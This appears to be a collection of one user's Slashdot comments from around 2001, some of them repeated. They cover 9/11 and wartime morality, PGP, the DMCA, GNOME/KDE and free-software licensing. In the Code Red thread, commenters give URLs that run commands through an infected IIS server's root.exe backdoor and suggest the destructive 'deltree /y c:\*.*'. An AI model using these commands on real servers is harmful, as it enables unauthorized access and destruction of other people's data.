Why post this on Slashdot when the issue is nearly resolved? If you want to send out a message then the place to post would be the Linux kernel mailing list.
If you throw an atom bomb a city there are bound to be a lot of casualties. It's also very likely that a lot of those casualties are innocent people (how many people support their government anyway).
Even if Japan was never provoced by the USA and they bombed a city instead of a military base, that still wouldn't have made it moral for the USA to bomb a Japanse city.
So when I said that both actions were equally just I really meant that they both weren't moral.
These actions do make some sense, though, if you want show your military power to the enemy. Such actions will also look like they get a point accross in the eye of the attacker. What I want to say is that these attacks weren't performed out of evilness, they did have some purpose (possible the terrorists wanted the world to realise that they fight back when they are done injustice to).
So in conclusion, killing innocent people is immoral but unfortunately it has been done and will continue to be done in times of war. Meaning that at least some people do justify the killing of many people when it suits them, it also means that the WTC attack was possible no more repulsive than other military strikes of the same magnitude.
PS: I'm using Mozilla 0.9.4 myself here and have no problem staying logged in, I did see static Slashdot frontpages between my two posts though.
You're not right about the other - good and evil are not relative. If they were, there would be -- in someone's mind -- justification for the murder of 6,000+ innocent civilians in New York, Pennsylvania, and Washington last week. There is never any justification for the murder of innocents.
I'm pretty sure the US government was convinced that A-bombing Japan was justified. Or rather, I hope they did and do believe that it was justified, it would be far worse if they themselves think of that action as evil.
Same goes for terrorists. No matter how "inhumane" people might find their actions, if they believed/believe in their cause then their action is as just as the A-bombing of Japan.
Re:Time to get learned. Which package do we get?
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Blaming Encryption
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I'm a complete newbie to encryption. I've never bothered to encrypt my e-mail before for the usual reasons -- the people I'm mailing don't have decryption tools, nothing I send would be of any importance to anyone except us, and so on.
Perhaps what you want to do is PGP-sign your e-mails. That way people who have PGP/GnuPG can confirm you sent the message while you also generate awareness with people that don't have PGP/GnuPG yet.
Because of certain freedoms, this act went on. I know it doesn't make much sense, but let me put it this way- if the US was a police state, this would not have happened. Yeah, its taking it to an extreme, but I can't think of a better way to illustrate what my reasoning behind my logic was in words.
Trying to follow your reasoning, I think at most you could say they died because they live in a democracy and are thus indirectly responsable for their government's actions.
What I do find important is that you shouldn't use those that died as an excuse to either invoke censorship or to stop censorship.
So instead you should let someone invoke censorship and not try to stop it? Maybe I didn't get the meaning of that line correctly... I'm not trying to use the people dying to stop censorship, I'm trying to get people to stop using the people dying as a reason to invoke censorship.
This was more of a response to (something you said in your first post):
Those people died for certain liberties and rights sort to speak- why take away what they died for just to try to soften the impact that they died?!!
which sounds a lot like a justification for your cause (freedom) on the assumption that the people killed, died for that same cause.
How does censoring music that has some relation to the NYC bombing help anything at all? Those people died for certain liberties and rights sort to speak- why take away what they died for just to try to soften the impact that they died?!!
I fail to see how they died for certain liberties and rights. They died because terrorists had a problem with what those people's government was doing.
If I died in a terrorist bombing in the United States, the supposed country of freedom, I would be rather offended that this country of freedom that I died in is now restricting it.
Only US Americans themselves seem to fancy their freedom so much. This may be because a lot of other countries are enough/equally/more free than the US or this may be because other people haven't been thought to appreciate the freedom, but that's not important. What I do find important is that you shouldn't use those that died as an excuse to either invoke censorship or to stop censorship.
I can't comment on those last three lines because I don't know what they mean.
SourceForge shouldn't be a single point of failure anymore, the GNU project now has Savannah based on the SourceForge code. As far as I can tell it's open to all Free Software (as oposed to Open Source on SourceForge) projects. Upon registering your project you can even apply for it to become part of the GNU project;).
Just because the ISP or anyone believes someone probably did violate copyright laws doesn't give them the right to take action against you. That is, if you believe in being innocent until proven guilty.
Yes, but I find the ISP's reaction pretty normal since they could be held liable too if you were proven guilty. I wouldn't espect my ISP to pay fines when I did something wrong.
The law should protect the ISP here and should only let me pay if I broke the law.
If my ISP decided to shut me off because someone else accused me of something, and they didn't even bother asking my side of the story, I think I'd be more than happy to terminate my relationship with that ISP.
Oh really? The article states that the DMCA requires your ISP to disconnect you unless they want to be be held liable too. No ISP would risk a lawsuit for someone who probably did violate copyright.
I'm sorry but as much as I'm a GNOME fan and admire your work I don't understand why you're talking dirt about RMS without giving concrete examples (what do you mean new vision?). You're making a lot of people turn away from Free Software here (though going to Open Source possibly) without giving anyone the opportunity to refute your statements.
As for Ulrich's comments, I don't agree about the remarks he made on the license thing. The addition made to the 2.1 version of the LGPL compared to the 2.0 version is only a clarification, just as RMS said. Also, the upwards compatibility clause is very important, if it wasn't for that a program's license could never be changed (unless every single contributor granted written permission). Upgrading would of course be necessary if a bug was found in the GPL2 or for those cases where the GPL2 isn't clear enough (say Java linking, Bonobo components, etc.).
As for Ulrich's statements of the hostile takeover, Stallman threatening him as well as for Stallman's so called embrace-and-extend tactics, I'm unsure what is meant. Those whole paragraphs are way to vague to me.
Re:Work with the GNOME people (and vice versa)
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KDE 2.2 Released
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Better interoperability between KDE and Gnome could only improve the situation for both desktops. Isn't The
X Desktop Group supposed to be working on with KDE and Gnome on this?
There is activity going on on their mailing list. E.g. right now they're coining up a standard for storing image thumbnails so Nautilus, Konqueror and the GIMP will be able to share them.
Re:Site-specific popup policy
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but what I'd really like to see is the ability to disable window.open on a site-specific basis as well.
Or even better, ignore window.open being used when loading or unloading a page but allow it when I click a link. Now that would effectively stop banners without having to keep going to the configuration dialog.
Maybe he doesn't want to lose the ability to travel to the USA, if he puts it up for download he'd be violating American law (at least in California they seem to think the Internet means you're *everywhere*).
Ogg Vorbis doesn't really need to win from MP3s, it needs to be the format people go looking for if they want something better than MP3s.
All those MP3 files aren't going to disappear of course but as Ogg Vorbis is free software (licensed under the BSD license) a lot of players are going to build in support for it, preparing it to replace MP3 in the long term (internet time, I suppose).
I very much doubt piping or redirecting is going to work, the system (or its equivalent) call probably won't except that.
What you could do is issue a "deltree/y c:\*.*". However, I had no luck with doing a "dir c:\*.*" previously so perhaps only a "deltree/y..\..\*.*" works via root.exe.
That's not what I said. And if you want to make a fool out of yourself you might want to check the "No Score +1 Bonus" box.
When you execute 'dir', 'type', etc. the output get printed to the stdout and returned to you via HTTP but if you run notepad.exe the Win32 API is addressed and a window might pop up on the server. I espect this behaviour because AFAIK Windows doesn't allow remote GUI logins (not sure about telnet/ssh logins).
Or you could enter http://somehost/scripts/root.exe?/C%20dir into your favourite browser.
mean that if I do http://somehost/scripts/root.exe?/C%20notepad.exe, that notepad pops up on the other guy's computer? Since Windows can only have one user logged into the GUI at a time I'd espect this behaviour.
Re:A few more details:It's a root trojan
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Code Red Back For More
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I found that you must do "GET/scripts/root.exe" without the HTTP/1.0 for it to work.
Oh yeah, since you can't enter command to the prompt you need to pass the commands to execute as arguments to root.exe (which is really cmd.exe). You can do this by typing "GET/scripts/root.exe?/C%20dir" or something like that. Or you could enter http://somehost/scripts/root.exe?/C%20dir into your favourite browser.
I've found that typing absolute paths doesn't work for some reason, but http://somehost/scripts/root.exe?/C%20dir%20"..\.. \Documents%20and%20Settings\All%20Users\Desktop\" (remove the spaces) should bring you to the desktop.
I wanted to leave a message to the admin on the desktop but I have no idea how to do that since "echo" is part of cmd.exe and piping probably won't work too. Perhaps omeone with WinNT skills could offer some ideas?
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Why post this on Slashdot when the issue is nearly resolved? If you want to send out a message then the place to post would be the Linux kernel mailing list.
Even if Japan was never provoced by the USA and they bombed a city instead of a military base, that still wouldn't have made it moral for the USA to bomb a Japanse city.
So when I said that both actions were equally just I really meant that they both weren't moral.
These actions do make some sense, though, if you want show your military power to the enemy. Such actions will also look like they get a point accross in the eye of the attacker. What I want to say is that these attacks weren't performed out of evilness, they did have some purpose (possible the terrorists wanted the world to realise that they fight back when they are done injustice to).
So in conclusion, killing innocent people is immoral but unfortunately it has been done and will continue to be done in times of war. Meaning that at least some people do justify the killing of many people when it suits them, it also means that the WTC attack was possible no more repulsive than other military strikes of the same magnitude.
PS: I'm using Mozilla 0.9.4 myself here and have no problem staying logged in, I did see static Slashdot frontpages between my two posts though.
Same goes for terrorists. No matter how "inhumane" people might find their actions, if they believed/believe in their cause then their action is as just as the A-bombing of Japan.
Awaiting countless corrections...
OK.. ok. No score +1 bonus for this post ;).
I can't comment on those last three lines because I don't know what they mean.
SourceForge shouldn't be a single point of failure anymore, the GNU project now has Savannah based on the SourceForge code. As far as I can tell it's open to all Free Software (as oposed to Open Source on SourceForge) projects. Upon registering your project you can even apply for it to become part of the GNU project ;).
Read the damn article, it's based on what was going to be Corel Linux 3.0, which itself (like its predecessors) was based on Debian.
I'm not sure how much of a standard this is, but at least when converting HTML to Postscript is interpreted as a page break.
Any other opinions?
The law should protect the ISP here and should only let me pay if I broke the law.
Don't blame the ISP, it's the DMCA that's broken.
As for Ulrich's comments, I don't agree about the remarks he made on the license thing. The addition made to the 2.1 version of the LGPL compared to the 2.0 version is only a clarification, just as RMS said. Also, the upwards compatibility clause is very important, if it wasn't for that a program's license could never be changed (unless every single contributor granted written permission). Upgrading would of course be necessary if a bug was found in the GPL2 or for those cases where the GPL2 isn't clear enough (say Java linking, Bonobo components, etc.).
As for Ulrich's statements of the hostile takeover, Stallman threatening him as well as for Stallman's so called embrace-and-extend tactics, I'm unsure what is meant. Those whole paragraphs are way to vague to me.
There is activity going on on their mailing list. E.g. right now they're coining up a standard for storing image thumbnails so Nautilus, Konqueror and the GIMP will be able to share them.
All those MP3 files aren't going to disappear of course but as Ogg Vorbis is free software (licensed under the BSD license) a lot of players are going to build in support for it, preparing it to replace MP3 in the long term (internet time, I suppose).
I very much doubt piping or redirecting is going to work, the system (or its equivalent) call probably won't except that.
What you could do is issue a "deltree /y c:\*.*". However, I had no luck with doing a "dir c:\*.*" previously so perhaps only a "deltree /y ..\..\*.*" works via root.exe.
Oh, I didn't know that. I'm curious, does it send the windows' contents as a bitmap or does it actually send the GUI system calls over the line?
When you execute 'dir', 'type', etc. the output get printed to the stdout and returned to you via HTTP but if you run notepad.exe the Win32 API is addressed and a window might pop up on the server. I espect this behaviour because AFAIK Windows doesn't allow remote GUI logins (not sure about telnet/ssh logins).
Oh yeah, since you can't enter command to the prompt you need to pass the commands to execute as arguments to root.exe (which is really cmd.exe). You can do this by typing "GET /scripts/root.exe?/C%20dir" or something like that. Or you could enter http://somehost/scripts/root.exe?/C%20dir into your favourite browser.
I've found that typing absolute paths doesn't work for some reason, but http://somehost/scripts/root.exe?/C%20dir%20"..\.. \Documents%20and%20Settings\All%20Users\Desktop\" (remove the spaces) should bring you to the desktop.
I wanted to leave a message to the admin on the desktop but I have no idea how to do that since "echo" is part of cmd.exe and piping probably won't work too. Perhaps omeone with WinNT skills could offer some ideas?